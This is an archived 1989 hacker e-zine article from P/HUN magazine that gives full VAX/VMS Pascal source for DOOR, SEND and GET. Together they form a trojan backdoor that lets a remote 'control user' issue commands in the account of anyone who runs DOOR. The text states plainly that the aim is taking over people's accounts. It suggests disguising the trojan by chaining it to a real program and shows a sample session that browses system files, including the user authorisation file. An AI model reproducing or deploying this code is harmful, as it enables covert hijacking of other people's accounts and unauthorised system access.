home *** CD-ROM | disk | FTP | other *** search
/ Hacker Chronicles 1 / HACKER1.ISO / miscpub1 / phun507.txt < prev    next >
Text File  |  1992-09-26  |  13KB  |  343 lines

  1.  
  2.                 Baliord's VMS Tricks Vol 2: DOOR
  3.                 --------------------------------       
  4.                           By  Baliord
  5.  
  6.  
  7.                   Phile #7 of P/HUN Magazine Issue #5
  8.  
  9.     The following program was designed to be an example of the use of
  10. VAX/VMS Mailboxes for multi-process control.  Any use of the program
  11. is the responsibility of the person compiling and/or running the
  12. program.
  13.  
  14.     In this file, we look at the use of VMS's Mailbox facilities.  The VMS
  15. Mailbox was designed as a way of assisting interprocess communication for
  16. non-priviledged users.  An example of a program that uses the MBX facility
  17. is PHONE.  PHONE uses the mailboxes, along with system-wide logical names, to
  18. allow users to send information packets back and forth.
  19.     In the last file I discussed how to take advantage of PHONE's "open"
  20. logical names for confusing users.  In this installation, you will see how
  21. MBX's are VERY useful in taking over people's accounts.
  22.     This program is called DOOR (a name given it by CW, a very helpful friend
  23. who doesn't have a handle), and it allows the "default_control" user to control
  24. the account of any person who runs this program.
  25.     The code does the following:
  26.  
  27. 1)  The control_user string is set to the user who will recieve the MAIL that
  28. this user is now "accessible."
  29.  
  30. 2)  The MBX's necessary are created, using the INDOOR and OUTDOOR logical
  31. names as storage area for the MBAxxx: strings.  (If the person already has
  32. INDOOR and OUTDOOR defined in their main process, then the program will NOT
  33. work.)
  34.  
  35. 3)  The program waits 1 second, to assure that the MBX's have time to become
  36. registered with the system.
  37.  
  38. 4)  INDOOR and OUTDOOR are converted back from logical names to the actual
  39. device names so the control_user can be told what they are.
  40.  
  41. 5)  The process is spawned off with the first command being to tell the
  42. control_user what the MBX numbers are.
  43.  
  44. 6)  The program then ends.  (At this position, an interesting thing to put
  45. might be a chain to whatever program name you call it with the version number
  46. as -1.  I.E.  DOOR.EXE;-1 would be the program you chain to.  Then the program
  47. would, in effect, create the process, then execute a real program.)
  48.  
  49.      The control_user must then read their mail and create two MBX's that
  50. correspond to the information given in the mail.
  51. I.E.
  52.     OUTDOOR=_MBA211: INDOOR=_MBA212:
  53. would be ASSIGNED at the DCL level as ASSIGN MBA211: OUTDOOR and
  54.                                       ASSIGN MBA212: INDOOR
  55. This must be done before the next two programs can be run.
  56.  
  57.      The next two programs are, in order, the SEND program and the program to
  58. GET the information.
  59.  
  60.      The SEND program assumes that you have entered a
  61. SEND:==$[directory]SEND.EXE
  62.                            command.  It takes whatever you typed after the
  63. SEND command and sends it through to the INDOOR mailbox.  The directory in
  64. the definition above is the directory you are keeping the SEND program in.
  65.  
  66.      The GET program is the next program, and can be run directly.  Or you
  67. can create a
  68. GET:==$[directory]GET.EXE
  69.                          command.
  70.  
  71.      The process for operation is illustrated here.
  72.  
  73. $ mail
  74.  
  75. You have 1 new message.
  76.  
  77. MAIL>
  78.     #1          23-JUL-1989 02:08:03                              NEWMAIL
  79. From:   HEAVEN::DEVIL     "Heaven doesn't wan't me, so I took over Hell."
  80. To:     GOD
  81. Subj:   OUTDOOR=_MBA230: INDOOR=_MBA231:
  82.  
  83.  
  84. MAIL>  Exit
  85. $ assign MBA230: outdoor
  86. $ assign MBA231: indoor
  87. $ send dir *.com
  88. $ get
  89.  
  90. Directory DRC0:[HELL.DEVIL]
  91.  
  92. LOGIN.COM;1
  93.  
  94. Total of 1 file.
  95. $ send mail comp.com god
  96. $
  97. New mail on node HEAVEN from DEVIL     "Heaven doesn't want me, so I took over Hell."
  98. $ get
  99. $ send dir sys$system:*.dat
  100. $ get
  101.  
  102. Directory SYS$SYSROOT:[SYSEXE]
  103.  
  104. DNAMES.DAT;1        MODPARAMS.DAT;1     NETCIRC.DAT;1       NETCONF.DAT;1
  105. NETLINE.DAT;1       NETLOGING.DAT;1     NETNODE.DAT;1       NETNODE_LOCAL.DAT;1
  106. NETNODE_REMOTE.DAT;1                    NETOBJECT.DAT;1     OLDSITE1.DAT;4
  107. OLDSITE2.DAT;5      OLDSITE3.DAT;5      OLDSITE4.DAT;5      PARAMS.DAT;5
  108. SDAT.DAT;1          SETPARAMS.DAT;5     SPSSERR.DAT;4       SPSSINFO.DAT;4
  109. SPSSUDF9.DAT;1      USAGE.DAT;1
  110.  
  111. Total of 21 files.
  112.  
  113. Directory SYS$COMMON:[SYSEXE]
  114.  
  115. FAKE.DAT;1          JBCSYSQUE.DAT;1     MODPARAMS.DAT;1     RIGHTSLIST.DAT;1
  116. SYSUAF.DAT;1        VMSMAIL.DAT;1       VMSPARAMS.DAT;1
  117.  
  118. Total of 7 files.
  119.  
  120. Grand total of 2 directories, 28 files.
  121. $ send stop/id=0
  122. $ sho sys/subproc
  123. $
  124.  
  125.  
  126.      I think that's enough examples for you to be able to figure out what
  127. else to do yourself.
  128.  
  129.  
  130. DOOR.PAS follows:
  131.  
  132. {
  133.  
  134. DOOR
  135. Copyright (c) 1989 by Baliord and CW
  136.  
  137.      This program creates a subprocess with input and output being directed
  138.      to Mailboxes.  It is originally intended for use only as a demonstration
  139.      of the power of mailboxes.  The authors take no responsibility for the
  140.      mischevious or dangerous use of this program.  It is only designed as
  141.      an example of what CAN be done, and is not expected to be actually used.
  142.  
  143. }
  144.  
  145. [ INHERIT( 'SYS$LIBRARY:STARLET' ) ]
  146. program door( input, output );
  147.  
  148. const
  149.   max = 132;
  150.   default_control = 'GOD';          { default user that gets mail message }
  151.   inbox = 'INDOOR';                 { Logical name (must be capital). }
  152.   outbox = 'OUTDOOR';               { Logical name (must be capital). }
  153.  
  154. type
  155.   word_type = [ word ]0..65535;
  156.   string = VarYING [ MAX ] of char;
  157.  
  158. Var
  159.   subject, user, mail_command, control_user, outdev, indev : string;
  160.   inchannel, outchannel : word_type;  { mailbox channels }
  161.   a, length : integer;
  162.  
  163.     [ asynchronous ]
  164.     function lib$sys_trnlog( %descr logical_name : varying[ l1 ] of char;
  165.                              %ref name_length : integer := %immed 0;
  166.                              %descr equivalence : varying[ l2 ] of char;
  167.                              %ref table : integer := %immed 0 ) : integer;
  168.       external;
  169.  
  170.     [ asynchronous ]
  171.     function lib$spawn( %descr command : varying[ l1 ] of char := %immed 0;
  172.                         %descr inp : varying[ l2 ] of char := %immed 0;
  173.                         out : varying[ l3 ] of char := %immed 0;
  174.                         %ref flags : integer := %immed 0;
  175.                         %descr process_name : varying[ l4 ] of char := %immed 0;
  176.                         %ref pid, status, efn : integer := %immed 0;
  177.                         [ unbound, asynchronous ]
  178.                         procedure ast( %immed p1 : [ unsafe ]integer ) := %immed 0;
  179.                         ast_parameter : [ unsafe ]integer := %immed 0;
  180.                         prompt : varying [l5] of char := %immed 0;
  181.                         cli : varying [l6] of char := %immed 0 ) : integer;
  182.       external;
  183.  
  184. procedure sleep(t : real);              (* program will sleep 't' *)
  185. var                                     (* seconds. *)
  186.     t1 : real;
  187.  
  188. begin
  189.       t1:=clock/1000;
  190.       t:=t1+t;
  191.       while t1<t do
  192.           t1:=clock/1000;
  193. end;
  194.  
  195. begin
  196.   control_user := default_control;
  197.  
  198.   $crembx(  , inchannel, max, 1000, 0, , inbox );    { Create input mailbox. }
  199.   $crembx(  , outchannel, max, 1000, 0, , outbox );  { Create output mailbox. }
  200.  
  201.   sleep( 5 );                                           { Wait for mailbox to be created. }
  202.  
  203.   lib$sys_trnlog( inbox, length, indev );             { get device name }
  204.   indev.length := length;
  205.  
  206.   lib$sys_trnlog( outbox, length, outdev );           { get device name }
  207.   outdev.length := length;
  208.  
  209.   mail_command:= 'MAIL/NOSELF NL: ' + control_user + '/SUBJECT="' + 'OUTDOOR=' + indev + ' INDOOR=' + outdev + '"';
  210.  
  211.   lib$spawn( mail_command, inbox, outbox, cli$m_nowait );  { Spawn process. }
  212.  
  213. end.
  214. -----------------------------------------------------------------------------
  215. SEND.PAS follows:
  216.  
  217. {
  218.  
  219. SEND
  220.  
  221. Copyright (c) 1989 by Baliord and CW
  222.  
  223.      This program was designed explicitly to send information to a MBX.  It
  224.      was originally designed to work with the DOOR program.  The authors take
  225.      no responsibility for the ignorant or malicious use of this program.  It
  226.      is designed as a sample of what CAN be done with certain features of the
  227.      VMS operating system.  It is only designed as a sample, and is not
  228.      intended for use.
  229.  
  230. }
  231.  
  232. [ INHERIT( 'SYS$LIBRARY:STARLET' ) ]
  233. program send_slave( output );
  234.  
  235.   const
  236.     mailbox_name = 'OUTDOOR';  { Logical name (must be capital). }
  237.     max = 132;
  238.  
  239.   type
  240.     string_type = VARYING [ MAX ] OF CHAR;
  241.     word_type   = [ word ]0..65535;
  242.  
  243.   var
  244.     mailbox_channel : word_type;
  245.     command, mailbox_device_name : string_type;
  246.     length : integer;
  247.  
  248.     [ asynchronous ]
  249.     function lib$sys_trnlog( %descr logical_name : varying[ l1 ] of char;
  250.                              %ref name_length : integer := %immed 0;
  251.                              %descr equivalence : varying[ l2 ] of char;
  252.                              %ref table : integer := %immed 0 ) : integer;
  253.       external;
  254.  
  255.     [ asynchronous ]
  256.     function lib$get_foreign( %descr string : varying[ l1 ] of char;
  257.                               %descr prompt : varying[ l2 ] of char := %immed 0;
  258.                               %ref out_length, force : integer := 0 ) : integer;
  259.       external;
  260.  
  261.   begin
  262.     if lib$sys_trnlog(mailbox_name,length,mailbox_device_name)>ss$_normal then
  263.       writeln( 'Mailbox ', mailbox_name, ' does not exist.' )
  264.     else
  265.       begin
  266.         mailbox_device_name.length := length;
  267.         $assign( mailbox_device_name, mailbox_channel );   { Assign channel }
  268.         lib$get_foreign( command );                        { Get command }
  269.         $qio( , mailbox_channel, io$_writevblk + io$m_noformat + io$m_now,
  270.               ,,, command.body, command.length, );         { Send command. }
  271.       end;
  272.   end.
  273. -----------------------------------------------------------------------------
  274. GET.PAS follows:
  275.  
  276. {
  277.  
  278. GET
  279.  
  280. Copyright (c) 1989 by Baliord
  281.  
  282.      This program was designed to read the output from a MBX.  In particular
  283.      it is made to work with the DOOR program.  The use of this program is
  284.      not the responsibility of the authors of the program, as that it is
  285.      designed as an example of what CAN be done.  It is not intended to be
  286.      actually used.
  287.  
  288. }
  289.  
  290. [ INHERIT( 'SYS$LIBRARY:STARLET' ) ]
  291. program read_slave( input,output );
  292.  
  293.   const
  294.     mailbox_name = 'INDOOR';  { Logical name (must be capital). }
  295.     max = 132;
  296.  
  297.   type
  298.     word_type = [ word ]0..65535;
  299.     string_type = VARYING[ MAX ] OF CHAR;
  300.  
  301.   var
  302.     iosb            : array [1..2] of integer;
  303.     mailbox_channel : word_type;
  304.     ret,command, mailbox_device_name : string_type;
  305.     length : integer;
  306.  
  307.     [ asynchronous ]
  308.     function lib$sys_trnlog( %descr logical_name : varying[ l1 ] of char;
  309.                              %ref name_length : integer := %immed 0;
  310.                              %descr equivalence : varying[ l2 ] of char;
  311.                              %ref table : integer := %immed 0 ) : integer;
  312.       external;
  313.  
  314.   begin
  315.     if lib$sys_trnlog(mailbox_name,length,mailbox_device_name)>ss$_normal then
  316.       writeln( 'Mailbox ', mailbox_name, ' does not exist.' )
  317.     else
  318.       begin
  319.         $assign( mailbox_device_name, mailbox_channel );   { Assign channel }
  320.         repeat
  321.           command.body:='';
  322.           mailbox_device_name.length := length;
  323.           $qio(,mailbox_channel,io$_readvblk+io$m_now,iosb,,,command.body,80);
  324.           command.length:=80;
  325.           if iosb[1]<>ss$_endoffile then writeln(command);
  326.         until iosb[1]=ss$_endoffile;
  327.       end;
  328.   end.
  329.  
  330.  
  331.  This file was produced specifically for the uses of P/HUN magazine and its
  332.  editor.  Any publication outside of that magazine, or distribution seperate
  333.  from that magazine without the express written approval of the author of
  334.  this document OR THE EDITOR OF P/HUN MAGAZINE is in violation of the author's
  335.  wishes. The only exception to this is that you are free to load these files
  336.  onto systems for compilation.  However, if you are going to use them, you MUST
  337.  leave the comments intact.  When referring to this program, give credit
  338.  where credit is due.  ALWAYS leave the disclaimers intact.
  339.  
  340. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  341.  
  342. Downloaded From P-80 International Information Systems 304-744-2253 12yrs+
  343.